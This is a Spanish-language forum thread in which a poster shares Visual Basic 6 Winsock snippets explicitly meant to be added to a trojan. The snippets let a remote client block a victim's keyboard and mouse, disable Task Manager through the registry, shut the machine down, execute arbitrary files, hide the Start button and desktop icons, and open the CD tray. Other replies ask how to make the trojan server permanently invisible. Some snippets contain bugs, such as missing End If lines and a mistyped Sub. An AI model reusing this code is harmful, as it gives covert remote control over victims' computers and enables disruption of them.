Mensajes

x que en que molesta eso

Código [Seleccionar] Expandir

bueno aka pongo unos codes para kese los agrguen a sus troyano  ;) ;)

--------------------------------desapareser mouse---------------------------------------
agregar un module en el server y un Commandbutton en el cliente
---en el modulo del server----
[code]
Declare Function ShowCursor Lib "user32" _
            (ByVal bShow As Long) As Long

----en el server-----

Código [Seleccionar] Expandir


Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desp" then ShowCursor false
end sub

----en el cliente----

Código [Seleccionar] Expandir


Private Sub Command1_Click()
ws.senddata "desp"
End Sub

-----------------------blokear mouse i teclado----------------------
agregar un commandbutton en el cliente i un modulo en el server
-----en el modulo del server------

Código [Seleccionar] Expandir

Public Declare Function BlockInput Lib "user32" _
            (ByVal fBlock As Long) As Long
-----en el server------

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desa" then BlockInput true
end sub
-----en el cliente---

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.senddata "desa"
End Sub
---------------------------------------hacer sonar beep ----------------
agregar un commandbutton en el cliente i un mopdulo en el server
-----en el modulo del server------

Código [Seleccionar] Expandir

Public Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
------en el server---------

Código [Seleccionar] Expandir


Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "beep" then
Beep 999, 999
Beep 999, 999
end if
end sub

----3n 3l kl13nt3 xd-----

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.senddata "beep"
End Sub
-----------------------------------------abrir cosita de los cd---------------------------
agregar un modulo en el server i un commandbutton en el cliente
-----en el modulo del server---

Código [Seleccionar] Expandir

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long

----en el server---

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trok" then
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
end if
end sub
---en el cliente----

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.senddata "trok"
End Sub
-------------------------blokear el taskmgr.exe(cttrl + alt +supr)-------------------------
agregar 1 comand button en el server i 1 en el cliente
----en el server-----

Código [Seleccionar] Expandir

Private Sub Command1_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
End Sub

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
On Error GoTo men

Set Fso = CreateObject("wscript.shell")

Fso.RegWrite Folder, Value, "REG_DWORD"


Set Fso = Nothing


Exit Sub
'error
men:
MsgBox Err.Description: Resume Next
End Sub

rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trtk" then call Command1_Click
end sub

----en el cliente----

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.senddata " trtk"
end sub
----------------------------------------apagar el pc------------------
agregar un commandbutton en el cliente
----en el server---

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String
Dim sn As String
sn = "shutdown"
ws.GetData datos
If datos = "lol" Then Shell (sn & "  -s -t 00")
----en el cliente----

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.senddata "lol"
End Sub
---------------------ejecutar un archivo----------------
agregar un textbox en el cliente i un comandbutton en el cliente
----en el server----

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 4) = "ejec" Then
datos = Right(datos, Len(datos) - 4)
Shell (datos)
End If
end sub
---en el cliente---

Código [Seleccionar] Expandir

Private Sub Form_Load()
text1.text = "aka va el archivo a ejecutar"
End Sub
Private Sub Command1_Click()
ws.senddata "ejec" & text1.text
End Sub
-----------------------------------no dejar abrir ventanas-----------------------------------
agrega un modulo i un timer en el server i un commandbutton en el kliente
----en el modulo del server---

Código [Seleccionar] Expandir

Public Const VK_LWIN = &H5B
Public Const KEYEVENTF_KEYUP = &H2

Public Declare Sub keybd_event Lib "user32" _
    (ByVal bVk As Byte, ByVal bScan As Byte, _
    ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
----en el server----

Código [Seleccionar] Expandir

Private Sub Form_Load()
timer1.enabled = false
End Sub
Private Sub Timer1_Timer()
   Call keybd_event(VK_LWIN, 0, 0, 0)
    Call keybd_event(77, 0, 0, 0)
    Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "jajaja" then
timer1.interval = 100
timer1.enabled = true
end sub
--en el cliente----

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.senddata "jajaja"
End Sub
------------------------despareser iconos------------------
agregar un commandbutton en el cliente
-----en el server---

Código [Seleccionar] Expandir

Private Declare Function FindWindowEx Lib "user32" _
Alias "FindWindowExA" (ByVal hWnd1 As Long, _
ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long


Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long

Const SW_SHOW = 5
Const SW_HIDE = 0



private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "topo" then
Dim Ret As Long

On Error Resume Next

Ret = FindWindowEx(0&, 0&, "Progman", vbNullString)

ShowWindow Ret, SW_HIDE
end if
End Sub
------en el cliente -----

Código [Seleccionar] Expandir

Private Sub Command1_Click()
ws.senddata "topo"
end sub
---------------------desaparecer boton de inicio (signo de windows)-----------------
agregar un command button en el cliente
--------------------en el server---------

Código [Seleccionar] Expandir

Const WS_CHILD = &H40000000
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const SW_HIDE = 0
Const SW_NORMAL = 1


Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type


Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByValhMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long

Dim tWnd As Long, bWnd As Long, ncWnd As Long

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "paza" then
Dim R As RECT

tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)

GetWindowRect bWnd, R

ShowWindow ncWnd, SW_NORMAL

ShowWindow bWnd, SW_HIDE
end if
----------en el cliente-------------
Private Sub Command1_Click()
ws.senddata "paza"
End Sub[/code]

muchas gracias ya lo solucione

bueno ya que ai gente que le da flojera descargar el programa les muestro el code 

Código [Seleccionar] Expandir


If Left(datos, 4) = "msga" Then
datos = Right(datos, Len(datos) - 4)
Text1.text = (datos)
End If
If Left(datos, 4) = "msgb" Then
datos = Right(datos, Len(datos) - 4)
Text2.text = (datos)
End If
If Left(datos, 4) = "msgc" Then
datos = Right(datos, Len(datos) - 4)
Text3.text = (datos)
End If
End If
If datos = "msgf" Then
MsgBox Text1.text & " ," & Text3.text & "," & Text2.text
End If

bueno eso es basicamente lo del mensaje en el cliente ai 3 timer que emvian
msga & "elmensaje"
msgb &  "titulo"
msg & "eltipodemensaje"
en este momento el problema que tengo es que me lo muestra todo komo mensaje no me lo pone komo titulo en el titulo mensje en el mensaje i tipo en el tipo de mensaje

es que nadie lee lo que quiero es que no se vea para siempre osea si el mismo archivo lo ejecuto en otro pc este invisible

si esta bien pero eso lo ocultaria temporalmente io quiero que kede asi para siempre

perdon si no explike bien pero estaba apurado lo que quiero es hacer un editor de un server en el mismo server i kuandoi uno le apriete el boton generar el server se vuelva imvisible incluyendo la parte del editor o lo otro que se me ocurrio es que guarde otro archivo que kontenga solo unos forms que esto serian los del server no los del editor

ola , mi pregunta es si se puede eliminar un form en ejecucion sin dañar el programa o si se puede poner la propiedad visible = false en ejecucion i que kede para siempre de esa forma

este troyano no vale nada y el codigo es una... Mal estruturado

noze que tines kontra todo lo que imventa otra persona porke post que veo tuyo estas descalificando algo o alguien

Como Debes imaginar no miro otros codigos sino los mios, no tengo el minimo interes en mirar este.

i siono miras otros kodigos komo aprendiste a programar del aire o nasiste programando alguna ves debiste a ver mirado otros codigos
bueno aprende a ser + tolerante ese es lo uniko que te digo 

perdon por no decirlo pero si muestra un mensaje de error